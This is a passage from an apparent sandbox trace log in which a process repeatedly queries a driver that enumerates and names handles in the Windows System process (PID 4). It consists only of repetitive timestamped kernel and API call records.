ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.577] ObReferenceObjectByHandle (in: Handle=0xffffffff800006d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800213ff20, HandleInformation=0x0) returned 0x0 [0089.577] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.578] PsReleaseProcessExitSynchronization () returned 0x2 [0089.578] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.578] ObQueryNameString (in: Object=0xfffffa800213ff20, ObjectNameInfo=0xfffffa8003a78044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a78044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.578] ObfDereferenceObject (Object=0xfffffa800213ff20) returned 0x2 [0089.578] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.578] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.578] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.578] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.578] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.578] PsAcquireProcessExitSynchronization () returned 0x0 [0089.578] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.578] ObReferenceObjectByHandle (in: Handle=0xffffffff800006dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002131860, HandleInformation=0x0) returned 0x0 [0089.578] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.578] PsReleaseProcessExitSynchronization () returned 0x2 [0089.578] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.578] ObQueryNameString (in: Object=0xfffffa8002131860, ObjectNameInfo=0xfffffa8003a79044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a79044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.578] ObfDereferenceObject (Object=0xfffffa8002131860) returned 0x2 [0089.578] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.578] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.578] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.578] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.578] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.578] PsAcquireProcessExitSynchronization () returned 0x0 [0089.578] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.578] ObReferenceObjectByHandle (in: Handle=0xffffffff800006e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800213f980, HandleInformation=0x0) returned 0x0 [0089.578] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.578] PsReleaseProcessExitSynchronization () returned 0x2 [0089.578] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.578] ObQueryNameString (in: Object=0xfffffa800213f980, ObjectNameInfo=0xfffffa8003a7a044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7a044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.578] ObfDereferenceObject (Object=0xfffffa800213f980) returned 0x2 [0089.578] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.578] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.578] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.578] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.578] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.579] PsAcquireProcessExitSynchronization () returned 0x0 [0089.579] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.579] ObReferenceObjectByHandle (in: Handle=0xffffffff800006e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002132480, HandleInformation=0x0) returned 0x0 [0089.579] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.579] PsReleaseProcessExitSynchronization () returned 0x2 [0089.579] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.579] ObQueryNameString (in: Object=0xfffffa8002132480, ObjectNameInfo=0xfffffa8003a7b044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7b044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.579] ObfDereferenceObject (Object=0xfffffa8002132480) returned 0x2 [0089.579] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.579] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.579] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.579] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.579] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.579] PsAcquireProcessExitSynchronization () returned 0x0 [0089.579] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.579] ObReferenceObjectByHandle (in: Handle=0xffffffff800006e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800213ef20, HandleInformation=0x0) returned 0x0 [0089.579] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.579] PsReleaseProcessExitSynchronization () returned 0x2 [0089.579] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.579] ObQueryNameString (in: Object=0xfffffa800213ef20, ObjectNameInfo=0xfffffa8003a7c044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7c044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.579] ObfDereferenceObject (Object=0xfffffa800213ef20) returned 0x2 [0089.579] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.579] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.579] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.579] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.579] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.579] PsAcquireProcessExitSynchronization () returned 0x0 [0089.579] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.579] ObReferenceObjectByHandle (in: Handle=0xffffffff800006ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002132a20, HandleInformation=0x0) returned 0x0 [0089.579] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.579] PsReleaseProcessExitSynchronization () returned 0x2 [0089.579] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.579] ObQueryNameString (in: Object=0xfffffa8002132a20, ObjectNameInfo=0xfffffa8003a7d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7d044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.579] ObfDereferenceObject (Object=0xfffffa8002132a20) returned 0x2 [0089.579] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.580] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.580] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.580] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.580] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.580] PsAcquireProcessExitSynchronization () returned 0x0 [0089.580] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.580] ObReferenceObjectByHandle (in: Handle=0xffffffff800006f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800213e8e0, HandleInformation=0x0) returned 0x0 [0089.580] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.580] PsReleaseProcessExitSynchronization () returned 0x2 [0089.580] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.580] ObQueryNameString (in: Object=0xfffffa800213e8e0, ObjectNameInfo=0xfffffa8003ac2044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003ac2044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.580] ObfDereferenceObject (Object=0xfffffa800213e8e0) returned 0x2 [0089.580] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.580] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.580] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.580] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.580] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.580] PsAcquireProcessExitSynchronization () returned 0x0 [0089.580] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.580] ObReferenceObjectByHandle (in: Handle=0xffffffff800006f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002133550, HandleInformation=0x0) returned 0x0 [0089.580] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.580] PsReleaseProcessExitSynchronization () returned 0x2 [0089.580] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.580] ObQueryNameString (in: Object=0xfffffa8002133550, ObjectNameInfo=0xfffffa8003ac3044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003ac3044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.580] ObfDereferenceObject (Object=0xfffffa8002133550) returned 0x2 [0089.580] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.580] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.580] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.580] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.580] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.580] PsAcquireProcessExitSynchronization () returned 0x0 [0089.580] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.580] ObReferenceObjectByHandle (in: Handle=0xffffffff800006f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800213b2f0, HandleInformation=0x0) returned 0x0 [0089.580] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.580] PsReleaseProcessExitSynchronization () returned 0x2 [0089.580] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.581] ObQueryNameString (in: Object=0xfffffa800213b2f0, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.581] ObfDereferenceObject (Object=0xfffffa800213b2f0) returned 0x2 [0089.581] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.581] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.581] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.581] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.581] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.581] PsAcquireProcessExitSynchronization () returned 0x0 [0089.581] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.581] ObReferenceObjectByHandle (in: Handle=0xffffffff800006fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002133af0, HandleInformation=0x0) returned 0x0 [0089.581] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.581] PsReleaseProcessExitSynchronization () returned 0x2 [0089.581] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.581] ObQueryNameString (in: Object=0xfffffa8002133af0, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233550) returned 0x0 [0089.581] ObfDereferenceObject (Object=0xfffffa8002133af0) returned 0x2 [0089.581] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.581] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.581] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.581] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.581] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.581] PsAcquireProcessExitSynchronization () returned 0x0 [0089.581] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.581] ObReferenceObjectByHandle (in: Handle=0xffffffff80000700, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800213d810, HandleInformation=0x0) returned 0x0 [0089.581] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.581] PsReleaseProcessExitSynchronization () returned 0x2 [0089.581] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.581] ObQueryNameString (in: Object=0xfffffa800213d810, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.581] ObfDereferenceObject (Object=0xfffffa800213d810) returned 0x2 [0089.581] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.581] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.581] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.581] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.581] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.581] PsAcquireProcessExitSynchronization () returned 0x0 [0089.582] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.582] ObReferenceObjectByHandle (in: Handle=0xffffffff80000704, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80021354b0, HandleInformation=0x0) returned 0x0 [0089.582] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.582] PsReleaseProcessExitSynchronization () returned 0x2 [0089.582] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.582] ObQueryNameString (in: Object=0xfffffa80021354b0, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233550) returned 0x0 [0089.582] ObfDereferenceObject (Object=0xfffffa80021354b0) returned 0x2 [0089.582] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.582] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.582] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.582] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.582] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.582] PsAcquireProcessExitSynchronization () returned 0x0 [0089.582] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.582] ObReferenceObjectByHandle (in: Handle=0xffffffff80000708, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800213bd20, HandleInformation=0x0) returned 0x0 [0089.582] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.582] PsReleaseProcessExitSynchronization () returned 0x2 [0089.582] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.582] ObQueryNameString (in: Object=0xfffffa800213bd20, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233550) returned 0x0 [0089.582] ObfDereferenceObject (Object=0xfffffa800213bd20) returned 0x2 [0089.582] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.582] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.582] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.582] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.582] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.582] PsAcquireProcessExitSynchronization () returned 0x0 [0089.582] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.582] ObReferenceObjectByHandle (in: Handle=0xffffffff8000070c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002133350, HandleInformation=0x0) returned 0x0 [0089.582] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.582] PsReleaseProcessExitSynchronization () returned 0x2 [0089.582] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.582] ObQueryNameString (in: Object=0xfffffa8002133350, ObjectNameInfo=0xfffffa8003a80044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a80044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.582] ObfDereferenceObject (Object=0xfffffa8002133350) returned 0x2 [0089.582] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.583] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.583] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.583] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.583] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.583] PsAcquireProcessExitSynchronization () returned 0x0 [0089.583] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.583] ObReferenceObjectByHandle (in: Handle=0xffffffff80000710, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800213b780, HandleInformation=0x0) returned 0x0 [0089.583] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.583] PsReleaseProcessExitSynchronization () returned 0x2 [0089.583] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.583] ObQueryNameString (in: Object=0xfffffa800213b780, ObjectNameInfo=0xfffffa8003a22044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a22044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.583] ObfDereferenceObject (Object=0xfffffa800213b780) returned 0x2 [0089.583] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.583] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.583] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.583] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.583] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.583] PsAcquireProcessExitSynchronization () returned 0x0 [0089.583] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.583] ObReferenceObjectByHandle (in: Handle=0xffffffff80000714, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80021345e0, HandleInformation=0x0) returned 0x0 [0089.583] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.583] PsReleaseProcessExitSynchronization () returned 0x2 [0089.583] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0089.583] ObQueryNameString (in: Object=0xfffffa80021345e0, ObjectNameInfo=0xfffffa8003a23044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a23044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.583] ObfDereferenceObject (Object=0xfffffa80021345e0) returned 0x2 [0089.583] 